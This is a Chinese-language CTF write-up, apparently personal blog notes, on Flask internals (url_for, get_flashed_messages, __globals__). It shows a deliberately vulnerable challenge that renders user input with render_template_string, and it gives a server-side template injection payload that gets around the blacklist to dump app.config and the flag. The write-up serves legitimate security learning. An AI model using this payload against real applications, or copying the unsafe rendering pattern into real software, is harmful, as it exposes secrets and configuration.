知识点:
url_for和get_flashed_messages
global 设置全局变量,使内部变量值可以被操作
__globals__
(这个函数的结果只表示可读的量)使用方法是 fun._globals_[ ],具体参考【Python】关于python里的global、__globals__、全局变量与多进程的一点理解_小灰狼码代码ing的博客-CSDN博客___globals__
3.3 url_for()的使用:
3.3.1 简介视图函数:
我们在访问一个网址的时候在调用flask项目的时候需要调用的是一段具体的代码,也就是一个python类或者python函数,在这里这个python类我们称之为视图类,python函数我们称之为视图函数。
3.3.2 url_for()的作用:
如果我们在视图函数中想使用一个url,比如给前端返回,或者我们在这个视图函数中返回一个模板文件都会使用到url,url相当于一把钥匙可以开启一些资源。如果你修改了注册路由编写的url规则,相当于修改了钥匙。那么其他的视图函数依旧是使用了原来的钥匙就无效了,如果项目是一个大项目,你一点点手动的去改涉及到的的url就不合理了。url_for()就是用来解决这个问题的。
3.3.3 url_for()的原理:
利用视图函数名字一般不会改变的特性,利用视图函数的名字
去动态精准的获取url,以便于开发使用。
url_for('视图函数名字') # 输出该视图函数url
from flask import Flask, url_for
app = Flask(__name__)
app.config.update(DEBUG=True)
@app.route('/')
def demo1():
print(url_for("book")) # 注意这个引用的是视图函数的名字 字符串格式
print(type(url_for("book")))
return url_for("book")
@app.route('/book_list/')
def book():
return 'flask_book'
if __name__ == "__main__":
app.run()
执行结果;
他会返回他的地址;
以上内容来自02_详解Flask中的URL ——url_for() 与 自定义动态路由过滤器_Abernorland的博客-CSDN博客_url_for
题目代码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config
如果没有过滤可以直接{{config}}即可查看所有app.config内容,而flag可能就藏在里面,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 把他的内容置换为空;
所以用{{config}} 显示空
就可以使用url_for ;
url_for._globals_
看到爆出 ‘current_app’
继续爆config
url_for._globals_[‘current_app’].config
get_flashed_message() -假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息
同样的操作:
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}